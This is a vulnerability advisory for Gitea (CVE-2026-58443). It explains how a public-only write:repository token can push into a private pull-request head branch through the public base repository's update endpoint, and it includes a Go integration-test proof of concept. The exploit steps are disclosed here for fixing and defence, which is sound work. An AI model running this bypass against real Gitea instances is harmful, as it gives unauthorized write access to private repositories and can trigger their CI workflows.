CVE-2026-58443

### Summary Gitea allows a `public-only,write:repository` token to update a private pull request head branch through a public base repository route. The vulnerable endpoint is: ```text POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update ``` Gitea checks the token's public-only restriction against the route repository, which is the public base repository. `UpdatePullRequest()` then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it. As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch. ### Details The pull request API routes are attached under a repository route group. The public-only check applies to `ctx.Repo.Repository`, the route/base repository. ```go // routers/api/v1/api.go:1358-1394 m.Group("/pulls", func() { m.Combo("").Get(repo.ListPullRequests). Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest) m.Get("/pinned", repo.ListPinnedPullRequests) m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment) m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment) m.Group("/{index}", func() { m.Combo("").Get(repo.GetPullRequest). Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest) m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch) m.Post("/update", reqToken(), repo.UpdatePullRequest) m.Get("/commits", repo.GetPullRequestCommits) m.Get("/files", repo.GetPullRequestFiles) m.Combo("/merge").Get(repo.IsPullRequestMerged). Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest). Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge) m.Group("/reviews", func() { m.Combo(""). Get(repo.ListPullReviews). Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview) m.Group("/{id}", func() { m.Combo(""). Get(repo.GetPullReview). Delete(reqToken(), repo.DeletePullReview). Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview) m.Combo("/comments"). Get(repo.GetPullReviewComments) m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview) m.Post("/undismissals", repo.UnDismissPullReview) }) }) m.Combo("/requested_reviewers", reqToken()). Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests). Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests) }) m.Get("/{base}/*", repo.GetPullRequestByBaseHead) }, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo()) ``` ```go // routers/api/v1/api.go:1465-1466 }, repoAssignment(), checkTokenPublicOnly()) }, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository)) ``` For `POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update`, the route repository can be public, so a `public-only,write:repository` token passes the route-level public-only check. The update handler then checks whether the caller can update the PR head branch: ```go // routers/api/v1/repo/pull.go:1220-1270 pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index")) if err != nil { if issues_model.IsErrPullRequestNotExist(err) { ctx.APIErrorNotFound() } else { ctx.APIErrorInternal(err) } return } if pr.HasMerged { ctx.APIError(http.StatusUnprocessableEntity, err) return } if err = pr.LoadIssue(ctx); err != nil { ctx.APIErrorInternal(err) return } if pr.Issue.IsClosed { ctx.APIError(http.StatusUnprocessableEntity, err) return } if err = pr.LoadBaseRepo(ctx); err != nil { ctx.APIErrorInternal(err) return } if err = pr.LoadHeadRepo(ctx); err != nil { ctx.APIErrorInternal(err) return } rebase := ctx.FormString("style") == "rebase" allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer) if err != nil { ctx.APIErrorInternal(err) return } if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) { ctx.Status(http.StatusForbidden) return } // default merge commit message message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch) ``` The service checks the head repository using the user's normal repository permission: ```go // services/pull/update.go:136-164 // IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections // update PR means send new commits to PR head branch from base branch func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) { if user == nil { return false, false, nil } if err := pull.LoadBaseRepo(ctx); err != nil { return false, false, err } if err := pull.LoadHeadRepo(ctx); err != nil { return false, false, err } // 1. check whether pull request enabled. prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests) if repo_model.IsErrUnitTypeNotExist(err) { return false, false, nil // the PR unit is disabled in base repo means no update allowed } else if err != nil { return false, false, fmt.Errorf("get base repo unit: %v", err) } // 2. only support Github style pull request if pull.Flow == issues_model.PullRequestFlowAGit { return false, false, nil } // 3. check user push permission on head repository pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch) if err != nil { return false, false, err } ``` That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate `pull.HeadRepo`. If allowed, the update service performs a merge/rebase update and pushes into the head repository: ```go // services/pull/update.go:89-100 reversePR := &issues_model.PullRequest{ BaseRepoID: pr.HeadRepoID, BaseRepo: pr.HeadRepo, BaseBranch: pr.HeadBranch, HeadRepoID: pr.BaseRepoID, HeadRepo: pr.BaseRepo, HeadBranch: pr.BaseBranch, } _, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase) return err ``` The result is a server-side private repository write performed through a public route. ### PoC ```go import ( "encoding/base64" "fmt" "net/http" "net/url" "testing" "time" actions_model "code.gitea.io/gitea/models/actions" auth_model "code.gitea.io/gitea/models/auth" repo_model "code.gitea.io/gitea/models/repo" unit_model "code.gitea.io/gitea/models/unit" "code.gitea.io/gitea/models/unittest" user_model "code.gitea.io/gitea/models/user" "code.gitea.io/gitea/modules/gitrepo" api "code.gitea.io/gitea/modules/structs" webhook_module "code.gitea.io/gitea/modules/webhook" repo_service "code.gitea.io/gitea/services/repository" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) { onGiteaRun(t, func(t *testing.T, _ *url.URL) { doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"}) baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{ Name: "public-pr-update-base", Description: "public base repository for public-only PR update PoC", AutoInit: true, Readme: "Default", DefaultBranch: "main", IsPrivate: false, }) require.NoError(t, err) headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{ BaseRepo: baseRepo, Name: "private-pr-update-head", Description: "private head repository for public-only PR update PoC", SingleBranch: baseRepo.DefaultBranch, }) require.NoError(t, err) require.NotNil(t, headRepo) require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{ RepoID: headRepo.ID, Type: unit_model.TypeActions, }}, nil)) headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID}) headBranch := "private-head-update" testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{ OldBranch: baseRepo.DefaultBranch, NewBranch: headBranch, }, map[string]string{ "private-head-marker.txt": "private head branch marker", }) const workflowID = "private-push.yml" const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION" testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{ OldBranch: headBranch, NewBranch: headBranch, }, map[string]string{ ".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push on: push: branches: - %s jobs: private-head-job: runs-on: ubuntu-latest steps: - run: echo %s `, headBranch, workflowSentinel), }) require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{ ID: headRepo.ID, IsPrivate: true, }, "is_private")) headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID}) require.True(t, headRepo.IsPrivate) baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) session := loginUser(t, doer.Name) publicOnlyToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteRepository, ) publicPath := "public-base-injected-into-private.txt" publicMarker := "FAULT-GITEA-062 public base content reached private head" createPublicBaseFile := api.CreateFileOptions{ FileOptions: api.FileOptions{ BranchName: baseRepo.DefaultBranch, Message: "create public marker for private head update", }, ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)), } req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile). AddTokenAuth(publicOnlyToken) MakeRequest(t, req, http.StatusCreated) privatePath := "direct-private-write-should-fail.txt" directPrivateWrite := api.CreateFileOptions{ FileOptions: api.FileOptions{ BranchName: headBranch, Message: "direct private write attempt", }, ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")), } req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite). AddTokenAuth(publicOnlyToken) MakeRequest(t, req, http.StatusNotFound) prPayload := map[string]string{ "title": "faultline public-only private head update", "base": baseRepo.DefaultBranch, "head": fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch), } req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload). AddTokenAuth(publicOnlyToken) resp := MakeRequest(t, req, http.StatusCreated) var pr api.PullRequest DecodeJSON(t, resp, &pr) require.Equal(t, prPayload["title"], pr.Title) gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo) require.NoError(t, err) defer gitRepo.Close() commit, err := gitRepo.GetBranchCommit(headBranch) require.NoError(t, err) _, err = commit.GetBlobByPath(publicPath) require.Error(t, err) req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index). AddTokenAuth(publicOnlyToken) MakeRequest(t, req, http.StatusOK) assert.Eventually(t, func() bool { return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns }, 5*time.Second, 50*time.Millisecond) actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{ RepoID: headRepo.ID, WorkflowID: workflowID, }, unittest.OrderBy("id DESC")) assert.Equal(t, webhook_module.HookEventPush, actionRun.Event) assert.Equal(t, "push", actionRun.TriggerEvent) assert.Equal(t, doer.ID, actionRun.TriggerUserID) assert.NotEmpty(t, actionRun.CommitSHA) job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID}) assert.Contains(t, string(job.WorkflowPayload), workflowSentinel) commit, err = gitRepo.GetBranchCommit(headBranch) require.NoError(t, err) blob, err := commit.GetBlobByPath(publicPath) require.NoError(t, err) content, err := blob.GetBlobContent(1024) require.NoError(t, err) assert.Equal(t, publicMarker, content) }) } ``` ### Impact The attacker needs a valid `public-only,write:repository` token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head. Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token. When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching `push` workflow. The PoC confirms an `ActionRun` and `ActionRunJob` are created for the private head repository with the attack-triggered push event.